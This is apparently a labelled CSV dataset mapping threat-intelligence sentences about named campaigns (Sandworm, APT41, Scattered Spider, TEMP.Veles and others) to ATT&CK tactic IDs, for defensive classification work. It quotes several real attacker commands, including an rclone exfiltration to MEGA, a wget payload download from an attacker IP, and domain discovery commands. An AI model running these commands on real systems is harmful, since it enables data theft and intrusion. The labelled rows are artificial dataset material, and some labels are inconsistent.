text,label "During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry internet settings to lower internet security.",['TA0005:Defense Evasion'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team created privileged domain accounts to be used for further exploitation and lateral movement.",['TA0003:Persistence'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a modified Dropbear SSH client as the backdoor to target systems.","['TA0001:Initial Access', 'TA0003:Persistence']" "During the 2015 Ukraine Electric Power Attack, vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered.",['TA0005:Defense Evasion'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.",['TA0011:Command and Control'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team gathered account credentials via a BlackEnergy keylogger plugin.","['TA0009:Collection', 'TA0006:Credential Access']" "During the 2015 Ukraine Electric Power Attack, Sandworm Team moved their tools laterally within the corporate network and between the ICS and corporate network.",['TA0008:Lateral Movement'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them.",['TA0002:Execution'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching `rundll32.exe`, which in-turn launches the malware and communicates with C2 servers over the Internet. .",['TA0005:Defense Evasion'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid’s industrial control systems.","['TA0006:Credential Access', 'TA0007:Discovery']" "During the 2015 Ukraine Electric Power Attack, Sandworm Team loaded BlackEnergy into svchost.exe, which then launched iexplore.exe for their C2.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During the 2015 Ukraine Electric Power Attack, Sandworm Team remotely discovered systems over LAN connections. OT systems were visible from the IT network as well, giving adversaries the ability to discover operational assets.",['TA0007:Discovery'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using `rundll32.exe`.",['TA0005:Defense Evasion'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team obtained their initial foothold into many IT systems using Microsoft Office attachments delivered through phishing emails.",['TA0001:Initial Access'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a VBA script called `vba_macro.exe`. This macro dropped `FONTCACHE.DAT`, the primary BlackEnergy implant; `rundll32.exe`, for executing the malware; `NTUSER.log`, an empty file; and desktop.ini, the default file used to determine folder displays on Windows machines.",['TA0002:Execution'] "During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests.",['TA0011:Command and Control'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `sp_addlinkedsrvlogin` command in MS-SQL to create a link between a created account and other servers in the network.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the 2016 Ukraine Electric Power Attack, Sandworm Team used a script to attempt RPC authentication against a number of hosts.",['TA0006:Credential Access'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used a trojanized version of Windows Notepad to add a layer of persistence for Industroyer.",['TA0003:Persistence'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team added a login to a SQL Server with `sp_addlinkedsrvlogin`.",['TA0003:Persistence'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team disabled event logging on compromised systems.",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” . The accounts were then assigned to a domain matching local operation and were delegated new privileges.",['TA0003:Persistence'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used Mimikatz to capture and use legitimate credentials.",['TA0006:Credential Access'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used `move` to transfer files to a network share.",['TA0008:Lateral Movement'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” .",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team masqueraded executables as `.txt` files.",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used heavily obfuscated code with Industroyer in its Windows Notepad backdoor.",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.",['TA0002:Execution'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team checked for connectivity to resources within the network and used LDAP to query Active Directory, discovering information about computers listed in AD.",['TA0007:Discovery'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team utilized `net use` to connect to network shares.",['TA0008:Lateral Movement'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used various MS-SQL stored procedures.",['TA0003:Persistence'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used UPX to pack a copy of Mimikatz.",['TA0005:Defense Evasion'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team created VBScripts to run on an SSH server.",['TA0002:Execution'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `xp_cmdshell` command in MS-SQL.",['TA0002:Execution'] "During the 2016 Ukraine Electric Power Attack, WMI in scripts were used for remote execution and system surveys.",['TA0002:Execution'] "During the 2016 Ukraine Electric Power Attack, Sandworm Team used an arbitrary system service to load at system boot for persistence for Industroyer. They also replaced the ImagePath registry value of a Windows service with a new backdoor binary.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed CaddyWiper on the victim’s IT environment systems to wipe files related to the OT capabilities, along with mapped drives, and physical drive partitions.",['TA0040:Impact'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Group Policy Objects to deploy and execute malware.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During the 2022 Ukraine Electric Power Attack, Sandworm Team used a Group Policy Object to copy CaddyWiper's executable `msserver.exe` from a staging server to a local hard drive before deployment.",['TA0008:Lateral Movement'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Systemd service units to masquerade GOGETTER malware as legitimate or seemingly legitimate services.",['TA0005:Defense Evasion'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team proxied C2 communications within a TLS-based tunnel.",['TA0011:Command and Control'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.",['TA0002:Execution'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the GOGETTER tunneler software to establish a “Yamux” TLS-based C2 channel with an external server.",['TA0011:Command and Control'] "During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object to execute CaddyWiper at a predetermined time.","['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the 2022 Ukraine Electric Power Attack, Sandworm Team configured Systemd to maintain persistence of GOGETTER, specifying the `WantedBy=multi-user.target` configuration to run GOGETTER when the system begins accepting user logins.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the Neo-REGEORG webshell on an internet-facing server.",['TA0003:Persistence'] APT41 DUST used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.,['TA0009:Collection'] APT41 DUST used HTTPS for command and control.,['TA0011:Command and Control'] APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information.,['TA0009:Collection'] APT41 DUST used compromised Google Workspace accounts for command and control.,['TA0042:Resource Development'] APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads.,['TA0005:Defense Evasion'] APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components.,['TA0042:Resource Development'] APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP.,"['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" APT41 DUST used DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller.,"['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" APT41 DUST collected data from victim Oracle databases using SQLULDR2.,['TA0009:Collection'] APT41 DUST used encrypted payloads decrypted and executed in memory.,['TA0005:Defense Evasion'] APT41 DUST exfiltrated collected information to OneDrive.,['TA0010:Exfiltration'] APT41 DUST deleted various artifacts from victim systems following use.,['TA0005:Defense Evasion'] APT41 DUST involved execution of `certutil.exe` via web shell to download the DUSTPAN dropper.,['TA0011:Command and Control'] APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.,['TA0009:Collection'] APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.,['TA0005:Defense Evasion'] APT41 DUST used internet scan data for target development.,['TA0043:Reconnaissance'] APT41 DUST involved use of search engines to research victim servers.,['TA0043:Reconnaissance'] APT41 DUST involved access of external victim websites for target development.,['TA0043:Reconnaissance'] APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control.,['TA0042:Resource Development'] APT41 DUST used Windows services to execute DUSTPAN.,['TA0002:Execution'] APT41 DUST used HTTPS for command and control.,['TA0011:Command and Control'] APT41 DUST used compromised Google Workspace accounts for command and control.,['TA0011:Command and Control'] APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence.,['TA0003:Persistence'] APT41 DUST used Windows Services with names such as `Windows Defend` for persistence of DUSTPAN.,"['TA0003:Persistence', 'TA0004:Privilege Escalation']" "For C0010, UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer.",['TA0042:Resource Development'] "During C0010, UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.",['TA0042:Resource Development'] "During C0010, UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.",['TA0001:Initial Access'] "For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.",['TA0042:Resource Development'] "During C0010, UNC3890 actors downloaded tools and malware onto a compromised host.",['TA0011:Command and Control'] "For C0010, UNC3890 actors used unique malware, including SUGARUSH and SUGARDUMP.",['TA0042:Resource Development'] "For C0010, UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2.",['TA0042:Resource Development'] "For C0010, UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system.",['TA0042:Resource Development'] "For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.",['TA0042:Resource Development'] "For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered.",['TA0042:Resource Development'] "For C0011, Transparent Tribe registered domains likely designed to appear relevant to student targets in India.",['TA0042:Resource Development'] "During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email.",['TA0002:Execution'] "During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email.",['TA0002:Execution'] "During C0011, Transparent Tribe sent malicious attachments via email to student targets in India.",['TA0001:Initial Access'] "During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.",['TA0001:Initial Access'] "For C0011, Transparent Tribe hosted malicious documents on domains registered by the group.",['TA0042:Resource Development'] "For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host.",['TA0002:Execution'] "For C0015, the threat actors used DLL files that had invalid certificates.",['TA0005:Defense Evasion'] "During C0015, the threat actors used Conti ransomware to encrypt a compromised network.",['TA0040:Impact'] "During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.",['TA0010:Exfiltration'] "During C0015, the threat actors obtained files and data from the compromised network.",['TA0009:Collection'] "During C0015, the threat actors collected files from network shared drives prior to network encryption.",['TA0009:Collection'] "During C0015, the threat actors use the command `net group ""domain admins"" /dom` to enumerate domain groups.",['TA0007:Discovery'] "During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.",['TA0007:Discovery'] "During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y ""\\SERVER\Shares"" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.",['TA0010:Exfiltration'] "During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.",['TA0007:Discovery'] "During C0015, the threat actors downloaded additional tools and files onto a compromised network.",['TA0011:Command and Control'] "During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.",['TA0002:Execution'] "During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.",['TA0008:Lateral Movement'] "During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.",['TA0009:Collection'] "During C0015, the threat actors used the command `net localgroup ""adminstrator"" ` to identify accounts with local administrator rights.",['TA0007:Discovery'] "During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.",['TA0002:Execution'] "For C0015, the threat actors used Cobalt Strike and Conti ransomware.",['TA0042:Resource Development'] "During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.",['TA0005:Defense Evasion'] "During C0015, the threat actors used `mshta` to execute DLLs.",['TA0005:Defense Evasion'] "During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.",['TA0007:Discovery'] "During C0015, the threat actors used Base64-encoded strings.",['TA0005:Defense Evasion'] "During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.",['TA0007:Discovery'] "During C0015, the threat actors employed code that used `regsvr32` for execution.",['TA0005:Defense Evasion'] "During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.",['TA0011:Command and Control'] "During C0015, the threat actors used RDP to access specific network hosts of interest.",['TA0008:Lateral Movement'] "During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.",['TA0007:Discovery'] "During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.",['TA0005:Defense Evasion'] "For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.",['TA0001:Initial Access'] "During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.",['TA0007:Discovery'] "During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.",['TA0007:Discovery'] "For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.",['TA0042:Resource Development'] "During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.",['TA0002:Execution'] "During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.",['TA0002:Execution'] "During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.",['TA0002:Execution'] "During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During C0017, APT41 hex-encoded PII data prior to exfiltration.",['TA0009:Collection'] "During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information from victim networks.",['TA0009:Collection'] "During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.",['TA0011:Command and Control'] "During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.",['TA0005:Defense Evasion'] "During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.",['TA0010:Exfiltration'] "During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.",['TA0010:Exfiltration'] "During C0017, APT41 used Cloudflare services for data exfiltration.",['TA0010:Exfiltration'] "During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.",['TA0001:Initial Access'] "During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table within legitimate Microsoft binaries.","['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0017, APT41 downloaded malicious payloads onto compromised systems.",['TA0011:Command and Control'] "During C0017, APT41 deployed JScript web shells on compromised systems.",['TA0002:Execution'] "During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.",['TA0009:Collection'] "During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.",['TA0005:Defense Evasion'] "During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.",['TA0005:Defense Evasion'] "During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.",['TA0005:Defense Evasion'] "During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.",['TA0011:Command and Control'] "During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.",['TA0011:Command and Control'] "During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.","['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.",['TA0006:Credential Access'] "During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.",['TA0005:Defense Evasion'] "During C0017, APT41 issued `ping -n 1 .split-1+` commands to find the volume serial number of compromised systems.",['TA0007:Discovery'] "During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.",['TA0007:Discovery'] "During C0017, APT41 used `whoami` to gather information from victim machines.",['TA0007:Discovery'] "For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.",['TA0042:Resource Development'] "During C0017, APT41 ran `wget http://103.224.80.44:8080/kernel` to download malicious payloads.",['TA0011:Command and Control'] "During C0017, APT41 used the Cloudflare services for C2 communications.",['TA0011:Command and Control'] "During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.",['TA0003:Persistence'] "During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.",['TA0002:Execution'] "During C0018, the threat actors used Base64 to encode their PowerShell scripts.",['TA0005:Defense Evasion'] "During C0018, the threat actors used AvosLocker ransomware to encrypt files on the compromised network.",['TA0040:Impact'] "During C0018, the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.",['TA0001:Initial Access'] "During C0018, the threat actors downloaded additional tools, such as Mimikatz and Sliver, as well as Cobalt Strike and AvosLocker ransomware onto the victim network.",['TA0011:Command and Control'] "During C0018, the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy.",['TA0008:Lateral Movement'] "During C0018, AvosLocker was disguised using the victim company name as the filename.",['TA0005:Defense Evasion'] "For C0018, the threat actors renamed a Sliver payload to `vmware_kb.exe`.",['TA0005:Defense Evasion'] "During C0018, the threat actors used the SoftPerfect Network Scanner for network scanning.",['TA0007:Discovery'] "During C0018, the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections.",['TA0011:Command and Control'] "During C0018, the threat actors used encoded PowerShell scripts for execution.",['TA0002:Execution'] "During C0018, the threat actors used AnyDesk to transfer tools between systems.",['TA0011:Command and Control'] "During C0018, the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892.",['TA0008:Lateral Movement'] "During C0018, the threat actors used `rundll32` to run Mimikatz.",['TA0005:Defense Evasion'] "During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network.","['TA0002:Execution', 'TA0008:Lateral Movement']" "During C0018, the threat actors ran `nslookup` and Advanced IP Scanner on the target network.",['TA0007:Discovery'] "During C0018, the threat actors collected `whoami` information via PowerShell scripts.",['TA0007:Discovery'] "For C0018, the threat actors acquired a variety of open source tools, including Mimikatz, Sliver, SoftPerfect Network Scanner, AnyDesk, and PDQ Deploy.",['TA0042:Resource Development'] "During C0018, the threat actors used HTTP for C2 communications.",['TA0011:Command and Control'] "During C0018, the threat actors used WMIC to modify administrative settings on both a local and a remote host, likely as part of the first stages for their lateral movement; they also used WMI Provider Host to execute a variety of encoded PowerShell scripts using the `DownloadString` method.",['TA0002:Execution'] "During C0021, the threat actors used SSL via TCP port 443 for C2 communications.",['TA0011:Command and Control'] "During C0021, the threat actors used encoded PowerShell commands.",['TA0005:Defense Evasion'] "During C0021, the threat actors deobfuscated encoded PowerShell commands including use of the specific string `'FromBase'+0x40+'String'`, in place of `FromBase64String` which is normally used to decode base64.",['TA0005:Defense Evasion'] "For C0021, the threat actors registered domains for use in C2.",['TA0042:Resource Development'] "For C0021, the threat actors used legitimate but compromised domains to host malicious payloads.",['TA0042:Resource Development'] "For C0021, the threat actors embedded a base64-encoded payload within a LNK file.",['TA0005:Defense Evasion'] "During C0021, the threat actors downloaded additional tools and files onto victim machines.",['TA0011:Command and Control'] "During C0021, the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.",['TA0002:Execution'] "During C0021, the threat actors used TCP for some C2 communications.",['TA0011:Command and Control'] "During C0021, the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.",['TA0002:Execution'] "During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL.",['TA0005:Defense Evasion'] "During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.",['TA0001:Initial Access'] "For C0021, the threat actors used Cobalt Strike configured with a modified variation of the publicly available Pandora Malleable C2 Profile.",['TA0042:Resource Development'] "For C0021, the threat actors uploaded malware to websites under their control.",['TA0042:Resource Development'] "During C0021, the threat actors used HTTP for some of their C2 communications.",['TA0011:Command and Control'] "During C0026, the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021.",['TA0009:Collection'] "During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.",['TA0010:Exfiltration'] "During C0026, the threat actors collected documents from compromised hosts.",['TA0009:Collection'] "For C0026, the threat actors re-registered expired C2 domains previously used for ANDROMEDA malware.",['TA0042:Resource Development'] "During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA.",['TA0011:Command and Control'] "During C0026, the threat actors downloaded malicious payloads onto select compromised hosts.",['TA0011:Command and Control'] "During C0027, Scattered Spider used aws_consoler to create temporary federated credentials for fake users in order to obfuscate which AWS credential is compromised and enable pivoting from the AWS CLI to console sessions without MFA.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0027, Scattered Spider used IAM manipulation to gain persistence and to assume or elevate privileges.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes.",['TA0007:Discovery'] "During C0027, Scattered Spider leveraged compromised credentials from victim users to authenticate to Azure tenants.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and their Active Directory attributes.",['TA0007:Discovery'] "During C0027, Scattered Spider used compromised Azure credentials for credential theft activity and lateral movement to on-premises systems.",['TA0008:Lateral Movement'] "During C0027, Scattered Spider used access to the victim's Azure tenant to create Azure VMs.",['TA0005:Defense Evasion'] "During C0027, Scattered Spider sent phishing messages via SMS to steal credentials.",['TA0043:Reconnaissance'] "During C0027, Scattered Spider performed domain replication.",['TA0006:Credential Access'] "During C0027, Scattered Spider accessed victim OneDrive environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.",['TA0009:Collection'] "During C0027, Scattered Spider registered devices for MFA to maintain persistence through victims' VPN.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During C0027, Scattered Spider accessed Azure AD to identify email addresses.",['TA0007:Discovery'] "During C0027, Scattered Spider exploited CVE-2021-35464 in the ForgeRock Open Access Management application server to gain initial access.",['TA0001:Initial Access'] "During C0027, Scattered Spider used Citrix and VPNs to persist in compromised environments.","['TA0001:Initial Access', 'TA0003:Persistence']" "During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management tools.",['TA0005:Defense Evasion'] "During C0027, Scattered Spider downloaded tools using victim organization systems.",['TA0011:Command and Control'] "During C0027, Scattered Spider attempted to gain access by continuously sending MFA messages to the victim until they accept the MFA push challenge.",['TA0006:Credential Access'] "During C0027, used RustScan to scan for open ports on targeted ESXi appliances.",['TA0007:Discovery'] "During C0027, Scattered Spider used SSH tunneling in targeted environments.",['TA0011:Command and Control'] "During C0027, Scattered Spider installed the open-source rsocx reverse proxy tool on a targeted ESXi appliance.",['TA0011:Command and Control'] "During C0027, Scattered Spider directed victims to run remote monitoring and management tools.",['TA0011:Command and Control'] "During C0027, Scattered Spider accessed victim SharePoint environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.",['TA0009:Collection'] "During C0027, Scattered Spider sent Telegram messages impersonating IT personnel to harvest credentials.",['TA0043:Reconnaissance'] "During C0027, Scattered Spider used phone calls to instruct victims to navigate to credential-harvesting websites.",['TA0043:Reconnaissance'] "During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls to direct victims to download a remote monitoring and management tool that would allow the adversary to remotely control their system.",['TA0001:Initial Access'] "During C0027, Scattered Spider obtained and used multiple tools including the LINpeas privilege escalation utility, aws_consoler, rsocx reverse proxy, Level RMM tool, and RustScan port scanner.",['TA0042:Resource Development'] "During C0027, Scattered Spider downloaded tools from sites including file.io, GitHub, and paste.ee.",['TA0011:Command and Control'] "During C0027, Scattered Spider used Windows Management Instrumentation to move laterally via Impacket.",['TA0002:Execution'] "During the C0032 campaign, TEMP.Veles used VPN access to persist in the victim environment.","['TA0001:Initial Access', 'TA0003:Persistence']" "During the C0032 campaign, TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them.",['TA0005:Defense Evasion'] "During the C0032 campaign, TEMP.Veles modified and added entries within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options to maintain persistence.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the C0032 campaign, TEMP.Veles used Mimikatz and a custom tool, SecHack, to harvest credentials.",['TA0006:Credential Access'] "During the C0032 campaign, TEMP.Veles used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.",['TA0009:Collection'] "During the C0032 campaign, TEMP.Veles renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.",['TA0005:Defense Evasion'] "During the C0032 campaign, TEMP.Veles used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.",['TA0011:Command and Control'] "During the C0032 campaign, TEMP.Veles used PowerShell to perform timestomping.",['TA0002:Execution'] "During the C0032 campaign, TEMP.Veles used encrypted SSH-based PLINK tunnels to transfer tools and enable RDP connections throughout the environment.",['TA0011:Command and Control'] "During the C0032 campaign, TEMP.Veles utilized RDP throughout an operation.",['TA0008:Lateral Movement'] "During the C0032 campaign, TEMP.Veles relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.",['TA0008:Lateral Movement'] "During the C0032 campaign, TEMP.Veles used scheduled task XML triggers.","['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the C0032 campaign, TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.",['TA0005:Defense Evasion'] "During the C0032 campaign, TEMP.Veles obtained and used tools such as Mimikatz and PsExec.",['TA0042:Resource Development'] "During the C0032 campaign, TEMP.Veles used compromised VPN accounts.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During the C0032 campaign, TEMP.Veles used Virtual Private Server infrastructure.",['TA0042:Resource Development'] "During the C0032 campaign, TEMP.Veles planted Web shells on Outlook Exchange servers.",['TA0003:Persistence'] "During CostaRicto, the threat actors collected data and files from compromised networks.",['TA0009:Collection'] "For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains.",['TA0042:Resource Development'] "During CostaRicto, the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment.","['TA0001:Initial Access', 'TA0003:Persistence']" "During CostaRicto, the threat actors downloaded malware and tools onto a compromised host.",['TA0011:Command and Control'] "For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT.",['TA0042:Resource Development'] "During CostaRicto, the threat actors used a layer of proxies to manage C2 communications.",['TA0011:Command and Control'] "During CostaRicto, the threat actors employed nmap and pscan to scan target environments.",['TA0007:Discovery'] "During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.",['TA0011:Command and Control'] "During CostaRicto, the threat actors used scheduled tasks to download backdoor tools.","['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During CostaRicto, the threat actors obtained open source tools to use in their operations.",['TA0042:Resource Development'] "During Cutting Edge, threat actors saved collected data to a tar 